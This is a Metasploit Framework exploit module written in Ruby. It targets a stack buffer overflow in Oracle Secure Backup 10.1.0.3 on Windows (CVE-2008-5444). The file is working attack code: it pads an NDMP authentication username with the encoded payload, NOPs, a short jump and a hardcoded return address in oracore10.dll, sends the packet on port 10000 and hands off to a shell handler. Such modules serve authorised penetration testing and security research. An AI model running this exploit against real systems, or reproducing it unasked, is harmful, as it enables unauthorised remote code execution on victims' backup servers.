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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::NDMP
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
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        'Description' => %q{
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          The module exploits a stack buffer overflow in Oracle Secure Backup.
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          When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
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          an attacker may be able to execute arbitrary code.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2008-5444' ],
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          [ 'OSVDB', '51340' ],
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          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
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        ],
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        'Platform' => 'win',
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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        },
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        'Targets' => [
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          [ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll
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        ],
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        'DisclosureDate' => '2009-01-14',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(10000)])
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    ndmp_recv()
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    username = rand_text_alphanumeric(3789 - payload.encoded.length)
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    username << payload.encoded + Rex::Arch::X86.jmp_short(6)
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    username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
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    username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)
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    password = rand_text_alphanumeric(rand(25) + 1)
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    # Create the authentication request
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    auth = [
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      0, # Sequence number
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      Time.now.to_i,   # Current time
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      0,               # Message type (request)
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      0x901,           # Message name (connect_client_auth)
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      0,               # Reply sequence number
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      0,               # Error status
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      1                # Authentication type
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    ].pack('NNNNNNN') +
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           [ username.length ].pack('N') + username +
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           [ password.length ].pack('N') + password +
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           [ 4 ].pack('N')
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    print_status("Sending authentication request...")
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    ndmp_send(auth)
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    handler
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    disconnect
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  end
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end
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